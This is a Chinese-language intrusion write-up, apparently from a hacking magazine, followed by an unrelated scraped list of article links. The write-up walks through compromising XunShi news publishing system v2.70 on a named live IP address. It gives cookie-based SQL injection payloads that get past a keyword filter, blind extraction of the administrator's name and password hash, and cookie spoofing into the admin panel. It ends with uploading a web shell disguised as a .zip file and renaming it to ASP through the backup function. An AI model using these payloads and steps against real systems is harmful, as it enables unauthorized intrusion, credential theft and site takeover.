作者:月无痕&&花非花
来源:红狼安全小组([url]www.wolfexp.net[/url],[url]www.crst.com.cn[/url])
注:本文以发表于***手册,转载请加上出处
                  
               三顾讯时--对讯时新闻发布系统的艰难突破

月无痕&&花非花

一.接触起因

这几天事情较多,一直都没去老大的论坛转!今天好友joli突然Q我说论坛上有人发了个脚本的问题,叫我也一起看一下,于是我就跑过去看了下(你家离论坛很近?竟然可以跑着过去!),也就有了下面这篇文章(测试版本为讯时新闻发布系统v2.70版 )。

二.漏洞初探

打算先看有没有经典的OR漏洞,虽然已经出来很久的漏洞了,但是很多程序仍然会存在这样的漏洞,admin_login.asp存在如下代码:
if request("user")="" or request("pass")=""then   
  conn.close
  set conn=nothing
  Response.Redirect "login.asp?id=0"
  ’如果user或者pass等于空就掉转到login.asp?id=0这个页面上
  else '注释下如果上面条件不成立就执行下面语句

user=LCase(chkhtm(request("user")))'注释下这里先用chkhtm函数过滤然后用lcase在过滤
  pass=md5(chkhtm(trim(request("pass"))))
  ’然后带入sql语句查询
  sql = "select * from admin where [user]='"&user&"' and [pass]='"&pass&"'"
  Set rs = Server.CreateObject("ADODB.RecordSet")
  rs.Open sql,conn,1,1

好!上面关键的地方我都进行了一下注释,最关键的地方就是chkhtm函数,他是做什么的?我在titleb.asp中找到了他的定义!
function chkhtm(stra)
   stra=replace(stra,"<","<")
   stra=replace(stra,">",">")
   stra=replace(stra,"'","")
   stra=replace(stra,"(","(")
   stra=replace(stra,")",")")
   stra=replace(stra,";",";")
   stra=replace(stra,",",",")
   stra=replace(stra,"%","%")
   stra=replace(stra,"+","+")
   chkhtm=stra
end function

很明显的一个过滤函数,在函数的第四行,已经过滤掉了“'”号了,所以OR漏洞是没戏了,思路到这里就断了。

三.再探漏洞

在查看代码的时候曾经被某人误导,一直抓不到点子上去了,这时候花非花刚好来上网,我把程序传给他,他把思路告诉我,然后他让我看了admin_chk.asp文件,大概代码如下:

<%

1.session("admin__user")=Request.Cookies("adminuser")
2.session("admin__pass")=Request.Cookies("adminpass")
3.session("dJ")=Request.Cookies("admindj")

4.adminuser=Request.Cookies("adminuser")
5.adminpass=Request.Cookies("adminpass")
6.admindj=Request.Cookies("admindj")

7.if adminuser="" or adminpass="" then
8.  Response.Redirect "login.asp?id=8"
9.end if

...省略部分代码...

10.user=trim(session("admin__user"))
11.pass=session("admin__pass")

12.sql = "select * from admin where [user]='"&adminuser&"' and [pass]='"&adminpass&"'"
13.Set rs = Server.CreateObject("ADODB.RecordSet")
14.rs.Open sql,conn,1,1
15.if rs.recordcount=0 then
16.  Response.Redirect "login.asp?id=8"
17.end if
...再省略...
%>

1,2,3是通过request.cookies方法从客户端获取cookie信息(KEY分别是adminuser,adminpass,admindj),并存入session中,分别对应:session("admin__user")、session("admin__pass")、session("dj")。然后在4,5,6分别把Request.Cookies("adminuser"),Request.Cookies("adminpass"),Request.Cookies("admindj")的值存入变量adminuser,adminpass,admindj中,如果变量adminuser,adminpass的值为空,就转到login.asp?id=8页面,10,11是将session("admin__user")和session("admin__pass"),存入变量user和pass中。12,13,14将变量adminuser和adminpass的值参与sql查询。将拿客户端的cookie信息进行sql查询,这样做的结果是造成欺骗漏洞,但是由于参与查询的cookie还包括密码,所以这种利用条件比较困难,必须在得到用户的密码(估计有人要骂我了,呵呵,能得到密码还COOKIE欺骗干嘛,不过这个密码是MD加密的,也就是可以省去破解这一步了(另外一个就是cookie注入了,貌似可以,但是我们进行测试之后都构造不出可行的***语句,有高手能搞定的话,请告知一下,先谢过了!)。思路再一次中断...

四.三顾讯时

正在一筹莫展的石斛,花花说找到了另外一个漏洞,漏洞文件在admin_news_view.asp,漏洞代码如下:
     
     newsid=trim(request("newsid"))
     sql = "select * from news where id="&newsid
     Set rs = Server.CreateObject("ADODB.RecordSet")
     rs.Open sql,conn,1,1
    
     这个文件以admin开头,但是没有进行权限的判断等,用户可直接查看,而这里通过request获取从客户端传来的数据newsid的值,并用trim函数过滤之后存入变量newsid中。然后将此变量参与SQL查询。此过程,只用trim函数过滤了空格并没有做其他的限制,所以从这里可以看出来一个注入漏洞就产生了。

用order by函数判断参与SQL查询的字段为26个,提交  [url]http://222.90.4.20/news/admin_ne&[/url] ... ;0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20admin ,返回错误,如图1所示:

然后,我们在admin_conn.asp 文件中发现如下代码:
   sss=LCase(request.servervariables("QUERY_STRING"))
   if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then
     response.write "<BR><BR><center>你的网址不合法"
     response.end
   end if

过滤了request.querystring方法获取从客户端传来的数据,过滤的内容是select,inster,delete等。虽然做了这个限制,但是我们还是可以利用cookie进行注入,因为前面的漏洞代码里面用的是request而不是request.querystring,所以我们还有reuqest.cookie方法让服务端获取我们这里的数据。
    先访问: [url]http://222.90.4.20/news/admin_news_view.asp?newsid=26[/url],然后去掉此URL,再   提交:javascript:alert(document.cookie="newsid="+escape("26 and 1=1"))返回如图2所示:


然后在访问 [url]http://222.90.4.20/news/admin_news_view.asp[/url],返回如图3:

说明我们提交的url已经有参与了sql查询,而且查询所得结果为真。再提交:
  javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(user,1,1)) from [admin] where id=1)=97"))
   返回如图4所示:

判断id=1的user(管理员)的第一个字符的ascii码值是否为97。相信大家以前看过花花的文章,大概的cookie注入也就这样了。下面是猜密码的。
  javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(pass,1,1)) from [admin] where id=1)=97"))

通过一一猜解所得的用户名和密码的ASSCII分别是97 100 109 105 110,50 49 50 51 50 102 50 57 55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 52 97 56 48 49 102 99 51,转换后的结果分别是admin和21232f297a57a5a743894a0e4a801fc3。然后我们不必去破解密码,拿出老兵叔的cookie欺骗工具,在cookies栏里输入:admindj=1; adminpass=21232f297a57a5a743894a0e4a801fc3; adminuser=admin; (保持绿色小球处于按下状态)然后在address栏里输入: [url]http://222.90.4.20/news/admin_index.asp[/url],提交!这样我们就可以不经登陆直接进到后台了。如图5所示:

进到后台就是拿WEBSHELL了。打开网友投稿,如图6所示:

打开查看审查,然后传个.zip(需要是允许上传的类型)的马上去。如图7所示:

  然后,查看编辑器的代码,如图8所示:

  可以看到这样一行字:<a href="/news/edit/uploadfile/2007213131454997.zip" .... 
  然后记下这一路径:/news/edit/uploadfile/2007213131454997.zip
  再打开备份,如图9所示:

  然后把路径等设置好,如图10所示:

  然后提交,返回如图11所示:

  这里我们获得了物理路径,然后就可以提交URL:
[url]http://222.90.4.20/news/databackup/LST.ASP[/url]
  返回如图12所示:

  呵呵,熟悉的界面,明哥的DIY.Asp。
  此文经过一波三折,最终成功拿下WEBSHELL,没什么高深的技术,也就是一条思路。感谢我的好友JOLI和花非花。

对讯时新闻发布系统的艰难突破相关推荐

  1. 三顾讯时--对讯时新闻发布系统的艰难突破

    作者:月无痕&&花非花 来源:红狼安全小组(www.wolfexp.net,www.crst.com.cn) 注:本文以发表于黑客手册,转载请加上出处 一.接触起因 这几天事情较多,一 ...

  2. 牛腩新闻发布系统——触发器使用

    触发器(trigger)是个特殊的存储过程,它的执行不是由程序调用,也不是手工启动,而是由事件来触发,比如当对一个表进行操作( insert,delete, update)时就会激活它执行.触发器经常 ...

  3. 【免费毕设】基于jsp的新闻发布系统(论文)

    文章目录 目录 一.系统设计 二.系统实现 源文件 目录 一.系统设计 3.1系统分析 3.1.1需求分析 1.通过相关调查,要求网站具有以下功能: 2.通过网络,展示各行业新闻及相关信息. 3.提供 ...

  4. 【新闻发布系统】项目文档

    [新闻发布系统]项目文档 一.项目需求 1.具体功能 *修改新闻主题 *删除新闻主题 *首页显示固定主题的新闻标题(左侧的"国内新闻""国际新闻") *首页按主 ...

  5. JavaWeb新闻发布系统案例3

    后台 后台主页模糊查询 <!-- 功能1:实现admin.jsp页面中新闻管理模块----模糊查询的搜索功能(根据标题进行模糊查询) --><!-- 注意:在没有学习servlet时 ...

  6. asp毕业设计——基于asp+access的新闻发布系统设计与实现(毕业论文+程序源码)——新闻发布系统

    基于asp+access的新闻发布系统设计与实现(毕业论文+程序源码) 大家好,今天给大家介绍基于asp+access的新闻发布系统设计与实现,文章末尾附有本毕业设计的论文和源码下载地址哦.需要下载开 ...

  7. asp新闻发布系统 html,构建你的网站新闻自动发布系统之一_asp实例

    更新每天新闻内容,对webmaster们来说是一件很头痛的事,首先,收集了大量 的新闻资料后,还必须制作大量的网页,每天大大小小的国际新闻,国内新闻,IT 新闻,可真够你累的.最致命的一点,这些松散的 ...

  8. 新闻发布系统——INSERT 语句与 FOREIGN KEY 约束XXX冲突。该冲突发生于数据库XXX,表XXX, column 'XXX。

    敲"添加新闻"功能模块的时候,如下: 填写了相应的信息后报错:INSERT 语句与 FOREIGN KEY 约束"XXX"冲突.该冲突发生于数据库"X ...

  9. 响应式极简新闻发布系统源码

    简介: 响应式极简新闻发布系统是基于ASP+ACCESS/MSSQL开发的响应式网站系统,可同时兼容PC端及移动端,也可以通过安装插件来关闭手机端.可以在后台安装大量插件与模板,一键安装实现网站的花样 ...

最新文章

  1. 微信小程序开发 笔记
  2. C 语言编程 — 运算符
  3. SQL server连接到服务器,无法连接到 (local)。在与 SQL Server 建立连接时出现与网络相关的或特定于实例的错误。未找到或无法访问服务器。请验证实例名称是否正确并且 SQL Se
  4. Windows下用命令行查找文件for命令的运用
  5. imu_utils标定imu问题解决
  6. 51单片机除c语言 中断嵌套,关于51系列单片机中断嵌套 - 关于单片机中断嵌套总结...
  7. thrift linux java,Apache Thrift环境配置
  8. 去年购房者平均年龄为29.5岁 80后家庭人均居住面积最小
  9. Python,Day2 - 数据类型,运算,列表操作,字典
  10. PHP GUID和UUID生成类
  11. jedis默认切片实现及对应python版本实现
  12. 跳台阶问题详解---动态规划
  13. ERP物料信息编码体系的研究与实践
  14. LaTex下载与安装教程
  15. 华为android7.0 root,华为荣耀畅玩6X EMUI5.0 7.0 root教程 荣耀6X获取7.0的root权限
  16. Tcp提供程序:指定网络名不可用
  17. LabVIEW如何将脚本插入Quick Drop
  18. 从命令行读入一个字符串,表示一个年份,输出该年的世界杯冠军是哪支球队。如果该 年没有举办世界杯,则输出:没有举办世界杯。...
  19. 一周热图|倪妮现身1664法蓝晚宴;贾静雯代言艾美特;刘嘉玲助力苏州国际设计周...
  20. python版问答聚合采集工具源代码+反编译完美还原

热门文章

  1. Socket蓝牙传输
  2. P3763 [TJOI2017]DNA(SAM+dfs)
  3. embedding 使用
  4. LeetCode 297. 二叉树的序列化与反序列化
  5. 三星在国内市场面临重大挫败,note20仅销售了数千部
  6. 唐詩三百首(可以顯示拼音)
  7. 时间序列_python自相关系数(ACF)绘图
  8. try catch 的作用
  9. cryptodome包安装
  10. 采集POCO多个相册图片的方法步骤